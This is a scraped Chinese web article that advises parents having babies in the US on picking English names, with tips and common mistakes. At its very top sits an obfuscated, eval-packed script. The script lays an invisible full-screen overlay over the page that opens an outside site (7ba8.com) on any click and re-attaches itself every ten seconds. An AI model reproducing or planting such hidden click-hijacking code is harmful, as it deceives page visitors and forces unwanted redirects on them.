<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>由于美宝一出生就要登记姓名了，赴美生子的妈妈在美宝出生前有一件很重要的事情要准备的，那就是美宝的英文名啦！但是取英文名不像取中文名那样，它有自己的一些规则，一旦取不好就会闹笑话，那么如何给美宝起一个好听又特别的名字，避免踩雷区呢？
![]()
1 美宝取名建议
1、英文名最好与中文名一致，如：
蒋大为 David Jiang
张爱玲 Irene Zhang
2、如第一条做不到，则争取英文名与中文名局部发音一致，如：
吴 珊 Sandy Wu
关 荷 Helen Guan
3、如上述两条均做不到，还可使英文名与中文名发音尽量接近或相关，如：
沈茂萍 Maple Shen
刘丽芳 Fountain Liu
4、意译
此外意译也是个不错的选择。
刘长河 River Liu
陈 苹 Apple Chen
5、找一个与华文名字音相近的英文名字
例如名字里有「萱」的人，就可以找sh开头的名字,如Sharon、Shari、Shanna等。或是华文名字里有「貞」的人，就会找J开头的名字，如：Jane、Jean、Jenny等。
6、找一个与华文名字意义相近或相关的英文名字
例如名字里有「玫」或「瑰」，英文名字就可以是Rose，又如名字里有「莉」，英文名字就可以是Jasmine（***）。
7、喜欢谁，就和他同名
如果你喜欢玛莉亚凯莉，不妨就叫Maria。喜欢詹姆斯庞德就叫James吧！
8、将对自己的期许，融进英文名字里
利用本资料库的「意义查询」，找出自己喜欢的意义的名字，再从其中挑选念起来比较顺口的！例如Robin就是指「辉煌的名声」，如果你希望自己声名大噪，不妨就叫Robin吧！
![]()
2 取英文名的几个误区
1、所起英文名太常见
第一种问题是起的英文名太常见，如：Henry, Jane, John, Mary. 这就像外国人起名叫赵志伟、王小刚、陈小平一样，给人牵强附会的感觉。虽然起名字并无一定之规，但给人的感觉很重要。
2、不懂文化差异而犯忌
此外，由于文化差异，有些名字引申义不雅，如：Cat, Kitty, 在英语俚语中，它们指的是女性的阴部（Pussy）。Cat宜改为Cathy, Kitty宜改为Kate。
3、改名又改姓
一般来说，非英语国家的人到了美国，都可能改名，但没有改姓的。这关系到家族荣誉，将来还会关系到遗传基因。因此，无论自己的姓多么难读，都要坚持。常见有人起英文名时连姓也改了，如司徒健Ken Stone，肖 燕Yan Shaw。下列英文姓尚可接受，但也最好不用，如：Young杨，Lee李。
4、英文名与姓谐音
有些人因为姓被人叫得多，便起个与姓谐音的英文名。但这样的英文名单独叫尚可，全称时就不太自然了，如：肖珊Shawn Xiao，钟奇Jone Zhong，周迅Joe Zhou，安芯Anne An。
5、不懂语法用错词性
名字一般用名词，不用形容词。有些人不懂这一规律，用形容词起名，如Lucky，其实这不是英文名。
6、用错性别
偶尔还有人弄错了性别，如女士起名Andy, Daniel。 |
|
收藏